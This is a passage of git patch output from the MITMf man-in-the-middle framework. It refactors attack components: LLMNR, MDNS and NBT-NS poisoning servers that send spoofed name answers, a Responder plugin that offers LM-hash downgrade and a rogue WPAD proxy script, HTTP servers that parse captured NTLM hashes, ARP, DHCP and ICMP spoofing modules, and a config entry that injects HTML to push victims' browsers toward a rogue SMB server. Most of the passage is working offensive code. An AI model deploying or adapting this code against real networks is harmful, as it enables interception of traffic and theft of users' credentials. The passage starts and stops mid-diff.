logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message logging.getLogger("mitmflib.watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages -logging.getLogger('mitmflib.smbserver').setLevel(logging.INFO) -logging.getLogger('mitmflib.impacket').setLevel(logging.INFO) import argparse import sys import os import threading +import core.responder.settings as settings from twisted.web import http from twisted.internet import reactor @@ -46,7 +45,7 @@ if os.geteuid() != 0: parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename), version="{} - '{}'".format(mitmf_version, mitmf_codename), - usage='mitmf.py [-i interface] [mitmf options] [plugin name] [plugin options]', + usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.") #add MITMf options @@ -73,14 +72,14 @@ options = parser.parse_args() logger().log_level = logging.__dict__[options.log_level.upper()] #Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object -from core.utils import get_iface, get_ip, get_mac, shutdown -if not options.interface: - options.interface = get_iface() +from core.utils import get_ip, get_mac, shutdown options.ip = get_ip(options.interface) options.mac = get_mac(options.interface) +settings.Config.populate(options) + from core.sslstrip.CookieCleaner import CookieCleaner -from core.sergioproxy.ProxyPlugins import ProxyPlugins +from core.proxyplugins import ProxyPlugins from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.URLMonitor import URLMonitor @@ -92,6 +91,7 @@ strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy reactor.listenTCP(options.listen_port, strippingFactory) +reactor.listenTCP(3141, strippingFactory) ProxyPlugins().all_plugins = plugins @@ -124,42 +124,42 @@ print "|_ SSLstrip v0.9 by Moxie Marlinspike online" print "|" if options.filter: - from core.packetparser import PacketParser - pparser = PacketParser(options.filter) - pparser.start() - print "|_ PacketParser online" + from core.packetfilter import PacketFilter + pfilter = PacketFilter(options.filter) + pfilter.start() + print "|_ PacketFilter online" print "| |_ Applying filter {} to incoming packets".format(options.filter) #Start mitmf-api -from core.mitmfapi import mitmfapi -print "|_ MITMf-API online" -mitmfapi().start() +#from core.mitmfapi import mitmfapi +#print "|_ MITMf-API online" +#mitmfapi().start() #Start Net-Creds -from core.netcreds.NetCreds import NetCreds +from core.netcreds import NetCreds NetCreds().start(options.interface, options.ip) print "|_ Net-Creds v{} online".format(NetCreds.version) #Start the HTTP Server -from core.servers.http.HTTPserver import HTTPserver -HTTPserver().start() -print "|_ HTTP server online" +#from core.servers.HTTP import HTTP +#HTTPserver().start() +#print "|_ HTTP server online" #Start DNSChef -from core.servers.dns.DNSchef import DNSChef +from core.servers.DNS import DNSChef DNSChef().start() print "|_ DNSChef v{} online".format(DNSChef.version) #Start the SMB server -from core.servers.smb.SMBserver import SMBserver -SMBserver().start() -print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver().mode, SMBserver().version) +from core.servers.SMB import SMB +SMB().start() +print "|_ SMB server online\n" #start the reactor reactor.run() print "\n" if options.filter: - pparser.stop() + pfilter.stop() shutdown() \ No newline at end of file diff --git a/plugins/responder.py b/plugins/responder.py deleted file mode 100644 index a4a6a14..0000000 --- a/plugins/responder.py +++ /dev/null @@ -1,138 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# -import flask - -from plugins.plugin import Plugin -from twisted.internet import reactor - -class Responder(Plugin): - name = "Responder" - optname = "responder" - desc = "Poison LLMNR, NBT-NS and MDNS requests" - tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] - version = "0.2" - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.interface = options.interface - self.ip = options.ip - - try: - config = self.config['Responder'] - smbChal = self.config['MITMf']['SMB']['Challenge'] - except Exception as e: - shutdown('[-] Error parsing config for Responder: ' + str(e)) - - from core.responder.llmnr.LLMNRpoisoner import LLMNRpoisoner - from core.responder.mdns.MDNSpoisoner import MDNSpoisoner - from core.responder.nbtns.NBTNSpoisoner import NBTNSpoisoner - from core.responder.fingerprinter.LANfingerprinter import LANfingerprinter - - LANfingerprinter().start(options) - MDNSpoisoner().start(options, options.ip) - NBTNSpoisoner().start(options, options.ip) - LLMNRpoisoner().start(options, options.ip) - - if options.wpad: - from core.servers.http.HTTPserver import HTTPserver - def wpad_request(path): - if (path == 'wpad.dat') or (path.endswith('.pac')): - payload = self.config['Responder']['WPADScript'] - - resp = flask.Response(payload) - resp.headers['Server'] = "Microsoft-IIS/6.0" - resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig" - resp.headers['X-Powered-By'] = "ASP.NET" - resp.headers['Content-Length'] = len(payload) - - return resp - - HTTPserver().add_endpoint(wpad_request) - - if self.config["Responder"]["MSSQL"].lower() == "on": - from core.responder.mssql.MSSQLserver import MSSQLserver - MSSQLserver().start(smbChal) - - if self.config["Responder"]["Kerberos"].lower() == "on": - from core.responder.kerberos.KERBserver import KERBserver - KERBserver().start() - - if self.config["Responder"]["FTP"].lower() == "on": - from core.responder.ftp.FTPserver import FTPserver - FTPserver().start() - - if self.config["Responder"]["POP"].lower() == "on": - from core.responder.pop3.POP3server import POP3server - POP3server().start() - - if self.config["Responder"]["SMTP"].lower() == "on": - from core.responder.smtp.SMTPserver import SMTPserver - SMTPserver().start() - - if self.config["Responder"]["IMAP"].lower() == "on": - from core.responder.imap.IMAPserver import IMAPserver - IMAPserver().start() - - if self.config["Responder"]["LDAP"].lower() == "on": - from core.responder.ldap.LDAPserver import LDAPserver - LDAPserver().start(smbChal) - - if options.analyze: - self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") - self.IsICMPRedirectPlausible(options.ip) - - def IsICMPRedirectPlausible(self, IP): - result = [] - dnsip = [] - for line in file('/etc/resolv.conf', 'r'): - ip = line.split() - if len(ip) < 2: - continue - if ip[0] == 'nameserver': - dnsip.extend(ip[1:]) - - for x in dnsip: - if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False: - self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x)) - else: - pass - - def IsOnTheSameSubnet(self, ip, net): - net = net+'/24' - ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) - netstr, bits = net.split('/') - netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) - mask = (0xffffffff << (32 - int(bits))) & 0xffffffff - return (ipaddr & mask) == (netaddr & mask) - - def reactor(self, strippingFactory): - reactor.listenTCP(3141, strippingFactory) - - def options(self, options): - options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning") - options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries") - options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries") - options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query") - options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") - options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server") - # Removed these options until I find a better way of implementing them - #options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") - #options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/spoof.py b/plugins/spoof.py index f36cd9a..637d7d7 100644 --- a/plugins/spoof.py +++ b/plugins/spoof.py @@ -37,14 +37,14 @@ class Spoof(Plugin): if not options.gateway: shutdown("[Spoof] --arp argument requires --gateway") - from core.poisoners.arp.ARPpoisoner import ARPpoisoner + from core.poisoners.ARP import ARPpoisoner arp = ARPpoisoner(options) arp.debug = debug self.tree_info.append('ARP spoofing enabled') self.protocol_instances.append(arp) elif options.dhcp: - from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner + from core.poisoners.DHCP import DHCPpoisoner if options.targets: shutdown("[Spoof] --targets argument invalid when DCHP spoofing") @@ -55,7 +55,7 @@ class Spoof(Plugin): self.protocol_instances.append(dhcp) elif options.icmp: - from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner + from core.poisoners.ICMP import ICMPpoisoner if not options.gateway: shutdown("[Spoof] --icmp argument requires --gateway") @@ -69,8 +69,6 @@ class Spoof(Plugin): self.protocol_instances.append(icmp) if options.dns: - from core.servers.dns.DNSchef import DNSChef - self.tree_info.append('DNS spoofing enabled') if iptables().dns is False: iptables().DNS(self.config['MITMf']['DNS']['port']) From 703c9045edb9a8fded65f9d670121e247b824055 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 2 Aug 2015 21:23:35 +0200 Subject: [PATCH 094/181] Fixes #144 --- plugins/screenshotter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/screenshotter.py b/plugins/screenshotter.py index 9a7f783..cd69328 100644 --- a/plugins/screenshotter.py +++ b/plugins/screenshotter.py @@ -34,8 +34,8 @@ class ScreenShotter(Inject, Plugin): def initialize(self, options): Inject.initialize(self, options) - self.js_payload = self.get_payload() self.interval = options.interval + self.js_payload = self.get_payload() def request(self, request): if 'saveshot' in request.uri: From 8b55a2e3f5d8599bb20977947058a34bb33b5090 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 2 Aug 2015 22:52:09 +0200 Subject: [PATCH 095/181] Second pass: MDNS, LLMNR and NBTNS poisoners are back online HTTP server now functional --- core/poisoners/LLMNR.py | 138 +++++++++++++++++++++++-------------- core/poisoners/MDNS.py | 43 ++++++++++-- core/poisoners/NBTNS.py | 38 ++++++++-- core/responder/settings.py | 24 +++---- core/servers/HTTP.py | 35 +++++++++- mitmf.py | 7 +- plugins/responder.py | 57 +++++++++++++++ plugins/screenshotter.py | 2 +- 8 files changed, 259 insertions(+), 85 deletions(-) create mode 100644 plugins/responder.py diff --git a/core/poisoners/LLMNR.py b/core/poisoners/LLMNR.py index 930593e..50f0754 100644 --- a/core/poisoners/LLMNR.py +++ b/core/poisoners/LLMNR.py @@ -16,79 +16,111 @@ # along with this program. If not, see . import socket import struct -import core.responder.settings -import core.responder.fingerprint +import core.responder.settings as settings +import core.responder.fingerprint as fingerprint +import threading -from core.reponder.packets import LLMNR_Ans +from traceback import print_exc +from core.responder.packets import LLMNR_Ans from core.responder.odict import OrderedDict -from SocketServer import BaseRequestHandler +from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer from core.responder.utils import * +class LLMNR: + + def start(self): + try: + server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer) + t = threading.Thread(name='LLMNR', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting LLMNR server on port 5355" + print_exc() + +class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): + + allow_reuse_address = 1 + + def server_bind(self): + MADDR = "224.0.0.252" + + self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) + self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) + + Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton) + + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + UDPServer.server_bind(self) def Parse_LLMNR_Name(data): - NameLen = struct.unpack('>B',data[12])[0] - Name = data[13:13+NameLen] - return Name + NameLen = struct.unpack('>B',data[12])[0] + Name = data[13:13+NameLen] + return Name def IsOnTheSameSubnet(ip, net): - net = net+'/24' - ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) - netstr, bits = net.split('/') - netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) - mask = (0xffffffff << (32 - int(bits))) & 0xffffffff - return (ipaddr & mask) == (netaddr & mask) + net = net+'/24' + ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) + netstr, bits = net.split('/') + netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) + mask = (0xffffffff << (32 - int(bits))) & 0xffffffff + return (ipaddr & mask) == (netaddr & mask) def IsICMPRedirectPlausible(IP): - dnsip = [] - for line in file('/etc/resolv.conf', 'r'): - ip = line.split() - if len(ip) < 2: - continue - if ip[0] == 'nameserver': - dnsip.extend(ip[1:]) - for x in dnsip: - if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: - print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) - print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) - print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) - else: - pass + dnsip = [] + for line in file('/etc/resolv.conf', 'r'): + ip = line.split() + if len(ip) < 2: + continue + if ip[0] == 'nameserver': + dnsip.extend(ip[1:]) + for x in dnsip: + if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: + print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) + print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) + print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) + else: + pass if settings.Config.AnalyzeMode: - IsICMPRedirectPlausible(settings.Config.Bind_To) + IsICMPRedirectPlausible(settings.Config.Bind_To) # LLMNR Server class class LLMNRServer(BaseRequestHandler): - def handle(self): - data, soc = self.request - Name = Parse_LLMNR_Name(data) + def handle(self): + data, soc = self.request + Name = Parse_LLMNR_Name(data) - # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0], Name) is not True: - return None + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Name) is not True: + return None - if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): + if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): - if settings.Config.Finger_On_Off: - Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) - else: - Finger = None + if settings.Config.Finger_On_Off: + Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) + else: + Finger = None - # Analyze Mode - if settings.Config.AnalyzeMode: - LineHeader = "[Analyze mode: LLMNR]" - print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + # Analyze Mode + if settings.Config.AnalyzeMode: + LineHeader = "[Analyze mode: LLMNR]" + print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) - # Poisoning Mode - else: - Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) - Buffer.calculate() - soc.sendto(str(Buffer), self.client_address) - LineHeader = "[*] [LLMNR]" + # Poisoning Mode + else: + Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) + Buffer.calculate() + soc.sendto(str(Buffer), self.client_address) + LineHeader = "[*] [LLMNR]" - print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) + print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) - if Finger is not None: - print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) - print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) + if Finger is not None: + print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) + print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) diff --git a/core/poisoners/MDNS.py b/core/poisoners/MDNS.py index 959ac43..a81ef6e 100644 --- a/core/poisoners/MDNS.py +++ b/core/poisoners/MDNS.py @@ -15,12 +15,45 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -import settings +import core.responder.settings as settings import socket +import threading -from SocketServer import BaseRequestHandler -from packets import MDNS_Ans -from utils import * +from traceback import print_exc +from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer +from core.responder.packets import MDNS_Ans +from core.responder.utils import * + +class MDNS: + + def start(self): + try: + server = ThreadingUDPMDNSServer(('', 5353), MDNSServer) + t = threading.Thread(name='MDNS', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting MDNS server on port 5353" + print_exc() + +class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): + + allow_reuse_address = 1 + + def server_bind(self): + MADDR = "224.0.0.251" + + self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) + self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) + + Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton) + + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + UDPServer.server_bind(self) def Parse_MDNS_Name(data): data = data[12:] @@ -35,7 +68,7 @@ def Poisoned_MDNS_Name(data): Name = data[:len(data)-5] return Name -class MDNS(BaseRequestHandler): +class MDNSServer(BaseRequestHandler): def handle(self): diff --git a/core/poisoners/NBTNS.py b/core/poisoners/NBTNS.py index 0d550ec..652ca42 100644 --- a/core/poisoners/NBTNS.py +++ b/core/poisoners/NBTNS.py @@ -15,12 +15,38 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import socket -import settings -import fingerprint +import threading +import core.responder.settings as settings +import core.responder.fingerprint as fingerprint -from packets import NBT_Ans -from SocketServer import BaseRequestHandler -from utils import * +from traceback import print_exc +from core.responder.packets import NBT_Ans +from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer +from core.responder.utils import * + +class NBTNS: + + def start(self): + try: + server = ThreadingUDPServer(('', 137), NBTNSServer) + t = threading.Thread(name='NBTNS', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting NBTNS server on port 137" + print_exec() + +class ThreadingUDPServer(ThreadingMixIn, UDPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + UDPServer.server_bind(self) # Define what are we answering to. def Validate_NBT_NS(data): @@ -42,7 +68,7 @@ def Validate_NBT_NS(data): return False # NBT_NS Server class. -class NBTNS(BaseRequestHandler): +class NBTNSServer(BaseRequestHandler): def handle(self): diff --git a/core/responder/settings.py b/core/responder/settings.py index 1e25708..2d9b51a 100644 --- a/core/responder/settings.py +++ b/core/responder/settings.py @@ -136,21 +136,17 @@ class Settings(ConfigWatcher): # CLI options self.Interface = options.interface + self.Force_WPAD_Auth = options.forcewpadauth + self.LM_On_Off = options.lm + self.WPAD_On_Off = options.wpad + self.Wredirect = options.wredir + self.NBTNSDomain = options.nbtns + self.Basic = options.basic + self.Finger_On_Off = options.finger + self.AnalyzeMode = options.analyze + #self.Upstream_Proxy = options.Upstream_Proxy - try: - self.LM_On_Off = options.LM_On_Off - self.WPAD_On_Off = options.WPAD_On_Off - self.Wredirect = options.Wredirect - self.NBTNSDomain = options.NBTNSDomain - self.Basic = options.Basic - self.Finger_On_Off = options.Finger - self.Force_WPAD_Auth = options.Force_WPAD_Auth - self.Upstream_Proxy = options.Upstream_Proxy - self.AnalyzeMode = options.Analyze - except AttributeError: - pass - - self.Verbose = False + self.Verbose = True self.CommandLine = str(sys.argv) self.Bind_To = utils.FindLocalIP(self.Interface) diff --git a/core/servers/HTTP.py b/core/servers/HTTP.py index 6a71471..ade76cf 100644 --- a/core/servers/HTTP.py +++ b/core/servers/HTTP.py @@ -16,7 +16,9 @@ # along with this program. If not, see . import os import struct -import core.responder.settings +import core.responder.settings as settings +import threading +from traceback import print_exc from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer from base64 import b64decode, b64encode @@ -26,6 +28,34 @@ from core.responder.packets import NTLM_Challenge from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile +class HTTP: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 80), HTTP1) + else: + server = ThreadingTCPServer(('', 80), HTTP1) + + t = threading.Thread(name='SMB', target=server.serve_forever) + t.setDaemon(True) + t.start() + + except Exception as e: + print "Error starting HTTP server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) # Parse NTLMv1/v2 hash. def ParseHTTPHash(data, client): @@ -222,13 +252,14 @@ def PacketSequence(data, client): return str(Response) # HTTP Server class -class HTTP(BaseRequestHandler): +class HTTP1(BaseRequestHandler): def handle(self): try: while True: self.request.settimeout(1) data = self.request.recv(8092) + GrabURL(data, self.client_address[0]) Buffer = WpadCustom(data, self.client_address[0]) if Buffer and settings.Config.Force_WPAD_Auth == False: diff --git a/mitmf.py b/mitmf.py index cc4bb5b..a6b3482 100755 --- a/mitmf.py +++ b/mitmf.py @@ -91,7 +91,6 @@ strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy reactor.listenTCP(options.listen_port, strippingFactory) -reactor.listenTCP(3141, strippingFactory) ProxyPlugins().all_plugins = plugins @@ -141,9 +140,9 @@ NetCreds().start(options.interface, options.ip) print "|_ Net-Creds v{} online".format(NetCreds.version) #Start the HTTP Server -#from core.servers.HTTP import HTTP -#HTTPserver().start() -#print "|_ HTTP server online" +from core.servers.HTTP import HTTP +HTTP().start() +print "|_ HTTP server online" #Start DNSChef from core.servers.DNS import DNSChef diff --git a/plugins/responder.py b/plugins/responder.py new file mode 100644 index 0000000..73a01db --- /dev/null +++ b/plugins/responder.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import flask + +from plugins.plugin import Plugin +from twisted.internet import reactor + +class Responder(Plugin): + name = "Responder" + optname = "responder" + desc = "Poison LLMNR, NBT-NS and MDNS requests" + tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] + version = "0.2" + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.interface = options.interface + self.ip = options.ip + + # Load (M)DNS, NBNS and LLMNR Poisoners + from core.poisoners.LLMNR import LLMNR + from core.poisoners.MDNS import MDNS + from core.poisoners.NBTNS import NBTNS + LLMNR().start() + MDNS().start() + NBTNS().start() + + def reactor(self, strippingFactory): + reactor.listenTCP(3141, strippingFactory) + + def options(self, options): + options.add_argument('--analyze', dest="analyze",action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning") + options.add_argument('--wredir', dest="wredir", action="store_true", help="Enables answers for netbios wredir suffix queries") + options.add_argument('--nbtns', dest="nbtns", action="store_true", help="Enables answers for netbios domain suffix queries") + options.add_argument('--fingerprint', dest="finger", action="store_true", help="Fingerprint hosts that issued an NBT-NS or LLMNR query") + options.add_argument('--lm', dest="lm", action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") + options.add_argument('--wpad', dest="wpad", action="store_true", help="Start the WPAD rogue proxy server") + options.add_argument('--forcewpadauth', dest="forcewpadauth", action="store_true", help="Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") + options.add_argument('--basic', dest="basic", action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/screenshotter.py b/plugins/screenshotter.py index 9a7f783..cd69328 100644 --- a/plugins/screenshotter.py +++ b/plugins/screenshotter.py @@ -34,8 +34,8 @@ class ScreenShotter(Inject, Plugin): def initialize(self, options): Inject.initialize(self, options) - self.js_payload = self.get_payload() self.interval = options.interval + self.js_payload = self.get_payload() def request(self, request): if 'saveshot' in request.uri: From fa59ca466b36b4580dca840b729828206fda743d Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 3 Aug 2015 05:34:46 +0200 Subject: [PATCH 096/181] third pass: - All servers back online - modified logging --- config/mitmf.conf | 5 + core/poisoners/LLMNR.py | 37 ++--- core/poisoners/MDNS.py | 41 ++--- core/poisoners/NBTNS.py | 30 ++-- core/responder/fingerprint.py | 2 +- core/responder/settings.py | 35 ++--- core/responder/utils.py | 141 ++--------------- core/servers/Browser.py | 10 +- core/servers/FTP.py | 37 ++++- core/servers/HTTP.py | 32 ++-- core/servers/IMAP.py | 39 ++++- core/servers/Kerberos.py | 277 ++++++++++++++++++++-------------- core/servers/LDAP.py | 44 +++++- core/servers/MSSQL.py | 41 ++++- core/servers/POP3.py | 40 ++++- core/servers/SMB.py | 57 +++---- core/servers/SMTP.py | 40 ++++- plugins/htadriveby.py | 3 +- plugins/responder.py | 41 ++++- 19 files changed, 545 insertions(+), 407 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index 9ea8033..d6d58fe 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -158,6 +158,11 @@ #Custom WPAD Script WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}' + + #HTML answer to inject in HTTP responses (before tag). + #Set to an empty string to disable. + #In this example, we redirect make users' browsers issue a request to our rogue SMB server. + HTMLToInject = Loading [[HTTPS Server]] diff --git a/core/poisoners/LLMNR.py b/core/poisoners/LLMNR.py index 50f0754..e8f7733 100644 --- a/core/poisoners/LLMNR.py +++ b/core/poisoners/LLMNR.py @@ -26,17 +26,15 @@ from core.responder.odict import OrderedDict from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer from core.responder.utils import * -class LLMNR: - - def start(self): - try: - server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer) - t = threading.Thread(name='LLMNR', target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception as e: - print "Error starting LLMNR server on port 5355" - print_exc() +def start(): + try: + server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer) + t = threading.Thread(name='LLMNR', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting LLMNR server on port 5355" + print_exc() class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): @@ -80,9 +78,9 @@ def IsICMPRedirectPlausible(IP): dnsip.extend(ip[1:]) for x in dnsip: if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: - print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) - print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) - print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) + settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] You can ICMP Redirect on this network.") + settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x)) + settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.") else: pass @@ -109,18 +107,15 @@ class LLMNRServer(BaseRequestHandler): # Analyze Mode if settings.Config.AnalyzeMode: - LineHeader = "[Analyze mode: LLMNR]" - print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + settings.Config.AnalyzeLogger.warning("[Analyze mode: LLMNR]{} Request by {} for {}, ignoring".format(self.client_address[0], Name)) # Poisoning Mode else: Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) Buffer.calculate() soc.sendto(str(Buffer), self.client_address) - LineHeader = "[*] [LLMNR]" - - print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) + settings.Config.PoisonersLogger.warning("[LLMNR] Poisoned answer sent to {} for name {}".format(self.client_address[0], Name)) if Finger is not None: - print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) - print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) + settings.Config.ResponderLogger.info("[FINGER] OS Version: 